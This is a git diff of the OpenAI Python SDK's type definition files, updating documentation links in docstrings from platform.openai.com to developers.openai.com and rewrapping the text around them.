diff --git a/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py b/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py
index c9b92bc8e1..d67947f84f 100644
--- a/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py
+++ b/src/openai/types/beta/threads/runs/code_interpreter_tool_call.py
@@ -29,8 +29,8 @@ class CodeInterpreterOutputLogs(BaseModel):
class CodeInterpreterOutputImageImage(BaseModel):
file_id: str
"""
- The [file](https://platform.openai.com/docs/api-reference/files) ID of the
- image.
+ The [file](https://developers.openai.com/api/reference/resources/files) ID of
+ the image.
"""
diff --git a/src/openai/types/beta/threads/runs/function_tool_call.py b/src/openai/types/beta/threads/runs/function_tool_call.py
index b87516e775..b5d4e3e7a3 100644
--- a/src/openai/types/beta/threads/runs/function_tool_call.py
+++ b/src/openai/types/beta/threads/runs/function_tool_call.py
@@ -21,8 +21,7 @@ class Function(BaseModel):
"""The output of the function.
This will be `null` if the outputs have not been
- [submitted](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs)
- yet.
+ [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
"""
diff --git a/src/openai/types/beta/threads/runs/function_tool_call_delta.py b/src/openai/types/beta/threads/runs/function_tool_call_delta.py
index 212d574893..59ceeb140c 100644
--- a/src/openai/types/beta/threads/runs/function_tool_call_delta.py
+++ b/src/openai/types/beta/threads/runs/function_tool_call_delta.py
@@ -21,8 +21,7 @@ class Function(BaseModel):
"""The output of the function.
This will be `null` if the outputs have not been
- [submitted](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs)
- yet.
+ [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
"""
diff --git a/src/openai/types/beta/threads/runs/run_step.py b/src/openai/types/beta/threads/runs/run_step.py
index 6b0a06c133..594d40e345 100644
--- a/src/openai/types/beta/threads/runs/run_step.py
+++ b/src/openai/types/beta/threads/runs/run_step.py
@@ -55,7 +55,7 @@ class RunStep(BaseModel):
assistant_id: str
"""
The ID of the
- [assistant](https://platform.openai.com/docs/api-reference/assistants)
+ [assistant](https://developers.openai.com/api/docs/assistants/migration)
associated with the run step.
"""
@@ -98,8 +98,8 @@ class RunStep(BaseModel):
run_id: str
"""
- The ID of the [run](https://platform.openai.com/docs/api-reference/runs) that
- this run step is a part of.
+ The ID of the [run](https://developers.openai.com/api/docs/assistants/migration)
+ that this run step is a part of.
"""
status: Literal["in_progress", "cancelled", "failed", "completed", "expired"]
@@ -113,8 +113,9 @@ class RunStep(BaseModel):
thread_id: str
"""
- The ID of the [thread](https://platform.openai.com/docs/api-reference/threads)
- that was run.
+ The ID of the
+ [thread](https://developers.openai.com/api/docs/assistants/migration) that was
+ run.
"""
type: Literal["message_creation", "tool_calls"]
diff --git a/src/openai/types/beta/threads/runs/step_list_params.py b/src/openai/types/beta/threads/runs/step_list_params.py
index 3b5a582e3f..e073ed71f3 100644
--- a/src/openai/types/beta/threads/runs/step_list_params.py
+++ b/src/openai/types/beta/threads/runs/step_list_params.py
@@ -39,7 +39,7 @@ class StepListParams(TypedDict, total=False):
search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
diff --git a/src/openai/types/beta/threads/runs/step_retrieve_params.py b/src/openai/types/beta/threads/runs/step_retrieve_params.py
index bdb0093746..6e7f58ae0e 100644
--- a/src/openai/types/beta/threads/runs/step_retrieve_params.py
+++ b/src/openai/types/beta/threads/runs/step_retrieve_params.py
@@ -23,6 +23,6 @@ class StepRetrieveParams(TypedDict, total=False):
search result content.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
diff --git a/src/openai/types/chat/chat_completion.py b/src/openai/types/chat/chat_completion.py
index c031989751..9372c4a68c 100644
--- a/src/openai/types/chat/chat_completion.py
+++ b/src/openai/types/chat/chat_completion.py
@@ -236,13 +236,15 @@ class ChatCompletion(BaseModel):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/chat/chat_completion_assistant_message_param.py b/src/openai/types/chat/chat_completion_assistant_message_param.py
index b7b4ca299e..0bf29fd77a 100644
--- a/src/openai/types/chat/chat_completion_assistant_message_param.py
+++ b/src/openai/types/chat/chat_completion_assistant_message_param.py
@@ -15,7 +15,7 @@
class Audio(TypedDict, total=False):
"""
Data about a previous audio response from the model.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
"""
id: Required[str]
@@ -52,7 +52,7 @@ class ChatCompletionAssistantMessageParam(TypedDict, total=False):
audio: Optional[Audio]
"""
Data about a previous audio response from the model.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
"""
content: Union[str, Iterable[ContentArrayOfContentPart], None]
diff --git a/src/openai/types/chat/chat_completion_audio.py b/src/openai/types/chat/chat_completion_audio.py
index 5b974313f4..f15fdbc758 100644
--- a/src/openai/types/chat/chat_completion_audio.py
+++ b/src/openai/types/chat/chat_completion_audio.py
@@ -8,7 +8,7 @@
class ChatCompletionAudio(BaseModel):
"""
If the audio output modality is requested, this object contains data
- about the audio response from the model. [Learn more](https://platform.openai.com/docs/guides/audio).
+ about the audio response from the model. [Learn more](https://developers.openai.com/api/docs/guides/audio).
"""
id: str
diff --git a/src/openai/types/chat/chat_completion_audio_param.py b/src/openai/types/chat/chat_completion_audio_param.py
index 362230d468..078e6012fd 100644
--- a/src/openai/types/chat/chat_completion_audio_param.py
+++ b/src/openai/types/chat/chat_completion_audio_param.py
@@ -24,7 +24,7 @@ class ChatCompletionAudioParam(TypedDict, total=False):
"""Parameters for audio output.
Required when audio output is requested with
- `modalities: ["audio"]`. [Learn more](https://platform.openai.com/docs/guides/audio).
+ `modalities: ["audio"]`. [Learn more](https://developers.openai.com/api/docs/guides/audio).
"""
format: Required[Literal["wav", "aac", "mp3", "flac", "opus", "pcm16"]]
diff --git a/src/openai/types/chat/chat_completion_chunk.py b/src/openai/types/chat/chat_completion_chunk.py
index a88c0c1919..fd23828cdd 100644
--- a/src/openai/types/chat/chat_completion_chunk.py
+++ b/src/openai/types/chat/chat_completion_chunk.py
@@ -260,7 +260,7 @@ class ChatCompletionChunk(BaseModel):
"""
Represents a streamed chunk of a chat completion response returned
by the model, based on the provided input.
- [Learn more](https://platform.openai.com/docs/guides/streaming-responses).
+ [Learn more](https://developers.openai.com/api/docs/guides/streaming-responses).
"""
id: str
@@ -306,13 +306,15 @@ class ChatCompletionChunk(BaseModel):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/chat/chat_completion_content_part_image.py b/src/openai/types/chat/chat_completion_content_part_image.py
index 7287a6f4da..3560848617 100644
--- a/src/openai/types/chat/chat_completion_content_part_image.py
+++ b/src/openai/types/chat/chat_completion_content_part_image.py
@@ -16,7 +16,7 @@ class ImageURL(BaseModel):
"""Specifies the detail level of the image.
Learn more in the
- [Vision guide](https://platform.openai.com/docs/guides/vision#low-or-high-fidelity-image-understanding).
+ [Vision guide](https://developers.openai.com/api/docs/guides/images-vision#choose-an-image-detail-level).
"""
@@ -31,7 +31,9 @@ class PromptCacheBreakpoint(BaseModel):
class ChatCompletionContentPartImage(BaseModel):
- """Learn about [image inputs](https://platform.openai.com/docs/guides/vision)."""
+ """
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
+ """
image_url: ImageURL
diff --git a/src/openai/types/chat/chat_completion_content_part_image_param.py b/src/openai/types/chat/chat_completion_content_part_image_param.py
index cd439bae67..8baace4eda 100644
--- a/src/openai/types/chat/chat_completion_content_part_image_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_image_param.py
@@ -15,7 +15,7 @@ class ImageURL(TypedDict, total=False):
"""Specifies the detail level of the image.
Learn more in the
- [Vision guide](https://platform.openai.com/docs/guides/vision#low-or-high-fidelity-image-understanding).
+ [Vision guide](https://developers.openai.com/api/docs/guides/images-vision#choose-an-image-detail-level).
"""
@@ -30,7 +30,9 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class ChatCompletionContentPartImageParam(TypedDict, total=False):
- """Learn about [image inputs](https://platform.openai.com/docs/guides/vision)."""
+ """
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
+ """
image_url: Required[ImageURL]
diff --git a/src/openai/types/chat/chat_completion_content_part_input_audio_param.py b/src/openai/types/chat/chat_completion_content_part_input_audio_param.py
index 54d4f62564..e14bf35115 100644
--- a/src/openai/types/chat/chat_completion_content_part_input_audio_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_input_audio_param.py
@@ -26,7 +26,9 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class ChatCompletionContentPartInputAudioParam(TypedDict, total=False):
- """Learn about [audio inputs](https://platform.openai.com/docs/guides/audio)."""
+ """
+ Learn about [audio inputs](https://developers.openai.com/api/docs/guides/audio).
+ """
input_audio: Required[InputAudio]
diff --git a/src/openai/types/chat/chat_completion_content_part_param.py b/src/openai/types/chat/chat_completion_content_part_param.py
index 7bff9044f4..cc34b7cb5e 100644
--- a/src/openai/types/chat/chat_completion_content_part_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_param.py
@@ -38,7 +38,7 @@ class FilePromptCacheBreakpoint(TypedDict, total=False):
class File(TypedDict, total=False):
"""
- Learn about [file inputs](https://platform.openai.com/docs/guides/text) for text generation.
+ Learn about [file inputs](https://developers.openai.com/api/docs/guides/text) for text generation.
"""
file: Required[FileFile]
diff --git a/src/openai/types/chat/chat_completion_content_part_text.py b/src/openai/types/chat/chat_completion_content_part_text.py
index df9a70402d..590b95aea1 100644
--- a/src/openai/types/chat/chat_completion_content_part_text.py
+++ b/src/openai/types/chat/chat_completion_content_part_text.py
@@ -19,9 +19,7 @@ class PromptCacheBreakpoint(BaseModel):
class ChatCompletionContentPartText(BaseModel):
- """
- Learn about [text inputs](https://platform.openai.com/docs/guides/text-generation).
- """
+ """Learn about [text inputs](https://developers.openai.com/api/docs/guides/text)."""
text: str
"""The text content."""
diff --git a/src/openai/types/chat/chat_completion_content_part_text_param.py b/src/openai/types/chat/chat_completion_content_part_text_param.py
index f17920897e..adee12ec16 100644
--- a/src/openai/types/chat/chat_completion_content_part_text_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_text_param.py
@@ -18,9 +18,7 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class ChatCompletionContentPartTextParam(TypedDict, total=False):
- """
- Learn about [text inputs](https://platform.openai.com/docs/guides/text-generation).
- """
+ """Learn about [text inputs](https://developers.openai.com/api/docs/guides/text)."""
text: Required[str]
"""The text content."""
diff --git a/src/openai/types/chat/chat_completion_message.py b/src/openai/types/chat/chat_completion_message.py
index 0066447642..a3064da854 100644
--- a/src/openai/types/chat/chat_completion_message.py
+++ b/src/openai/types/chat/chat_completion_message.py
@@ -69,14 +69,14 @@ class ChatCompletionMessage(BaseModel):
annotations: Optional[List[Annotation]] = None
"""
Annotations for the message, when applicable, as when using the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
audio: Optional[ChatCompletionAudio] = None
"""
If the audio output modality is requested, this object contains data about the
audio response from the model.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
"""
function_call: Optional[FunctionCall] = None
diff --git a/src/openai/types/chat/completion_create_params.py b/src/openai/types/chat/completion_create_params.py
index 4967572a3b..49170b76e2 100644
--- a/src/openai/types/chat/completion_create_params.py
+++ b/src/openai/types/chat/completion_create_params.py
@@ -43,11 +43,11 @@ class CompletionCreateParamsBase(TypedDict, total=False):
messages: Required[Iterable[ChatCompletionMessageParam]]
"""A list of messages comprising the conversation so far.
- Depending on the [model](https://platform.openai.com/docs/models) you use,
+ Depending on the [model](https://developers.openai.com/api/docs/models) you use,
different message types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
"""
model: Required[Union[str, ChatModel]]
@@ -55,15 +55,15 @@ class CompletionCreateParamsBase(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
audio: Optional[ChatCompletionAudioParam]
"""Parameters for audio output.
Required when audio output is requested with `modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
"""
frequency_penalty: Optional[float]
@@ -118,18 +118,18 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""
An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tokens: Optional[int]
"""
- The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
"""
metadata: Optional[Metadata]
@@ -150,8 +150,8 @@ class CompletionCreateParamsBase(TypedDict, total=False):
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
"""
@@ -169,7 +169,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
parallel_tool_calls: bool
"""
Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
"""
@@ -190,7 +190,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: PromptCacheOptions
@@ -203,7 +203,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -213,7 +213,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -234,7 +234,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -244,7 +244,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -258,7 +258,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
seed: Optional[int]
@@ -278,13 +278,15 @@ class CompletionCreateParamsBase(TypedDict, total=False):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -303,8 +305,9 @@ class CompletionCreateParamsBase(TypedDict, total=False):
store: Optional[bool]
"""
Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
"""
@@ -337,8 +340,9 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""A list of tools the model may call.
You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
"""
top_logprobs: Optional[int]
@@ -364,7 +368,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
verbosity: Optional[Literal["low", "medium", "high"]]
@@ -379,7 +383,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""
This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
@@ -403,8 +407,8 @@ class Function(TypedDict, total=False):
parameters: FunctionParameters
"""The parameters the functions accepts, described as a JSON Schema object.
- See the [guide](https://platform.openai.com/docs/guides/function-calling) for
- examples, and the
+ See the [guide](https://developers.openai.com/api/docs/guides/function-calling)
+ for examples, and the
[JSON Schema reference](https://json-schema.org/understanding-json-schema/) for
documentation about the format.
@@ -450,7 +454,7 @@ class Moderation(TypedDict, total=False):
class PromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
mode: Literal["implicit", "explicit"]
@@ -509,7 +513,7 @@ class WebSearchOptionsUserLocation(TypedDict, total=False):
class WebSearchOptions(TypedDict, total=False):
"""
This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
search_context_size: Literal["low", "medium", "high"]
@@ -529,9 +533,9 @@ class CompletionCreateParamsNonStreaming(CompletionCreateParamsBase, total=False
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
"""
@@ -543,9 +547,9 @@ class CompletionCreateParamsStreaming(CompletionCreateParamsBase):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
"""
diff --git a/src/openai/types/completion_create_params.py b/src/openai/types/completion_create_params.py
index c528c0089e..72ba4265d2 100644
--- a/src/openai/types/completion_create_params.py
+++ b/src/openai/types/completion_create_params.py
@@ -16,10 +16,10 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""ID of the model to use.
You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
"""
prompt: Required[Union[str, SequenceNotStr[str], Iterable[int], Iterable[Iterable[int]], None]]
@@ -54,7 +54,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
Positive values penalize new tokens based on their existing frequency in the
text so far, decreasing the model's likelihood to repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
"""
logit_bias: Optional[Dict[str, int]]
@@ -62,11 +62,12 @@ class CompletionCreateParamsBase(TypedDict, total=False):
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -84,8 +85,8 @@ class CompletionCreateParamsBase(TypedDict, total=False):
max_tokens: Optional[int]
"""
- The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
@@ -107,7 +108,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
Positive values penalize new tokens based on whether they appear in the text so
far, increasing the model's likelihood to talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
"""
seed: Optional[int]
@@ -158,7 +159,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""
A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/conversations/item_create_params.py b/src/openai/types/conversations/item_create_params.py
index 07fd069e04..d61f46462a 100644
--- a/src/openai/types/conversations/item_create_params.py
+++ b/src/openai/types/conversations/item_create_params.py
@@ -19,6 +19,6 @@ class ItemCreateParams(TypedDict, total=False):
"""Additional fields to include in the response.
See the `include` parameter for
- [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include)
+ [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29)
for more information.
"""
diff --git a/src/openai/types/conversations/item_retrieve_params.py b/src/openai/types/conversations/item_retrieve_params.py
index 4d4ef13939..21a3be9e4f 100644
--- a/src/openai/types/conversations/item_retrieve_params.py
+++ b/src/openai/types/conversations/item_retrieve_params.py
@@ -17,6 +17,6 @@ class ItemRetrieveParams(TypedDict, total=False):
"""Additional fields to include in the response.
See the `include` parameter for
- [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include)
+ [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29)
for more information.
"""
diff --git a/src/openai/types/embedding.py b/src/openai/types/embedding.py
index e3b8e9b3a1..f9aaa8527f 100644
--- a/src/openai/types/embedding.py
+++ b/src/openai/types/embedding.py
@@ -15,7 +15,7 @@ class Embedding(BaseModel):
"""The embedding vector, which is a list of floats.
The length of vector depends on the model as listed in the
- [embedding guide](https://platform.openai.com/docs/guides/embeddings).
+ [embedding guide](https://developers.openai.com/api/docs/guides/embeddings).
"""
index: int
diff --git a/src/openai/types/embedding_create_params.py b/src/openai/types/embedding_create_params.py
index 1eeb2b0e54..9444ab54f1 100644
--- a/src/openai/types/embedding_create_params.py
+++ b/src/openai/types/embedding_create_params.py
@@ -29,10 +29,10 @@ class EmbeddingCreateParams(TypedDict, total=False):
"""ID of the model to use.
You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
"""
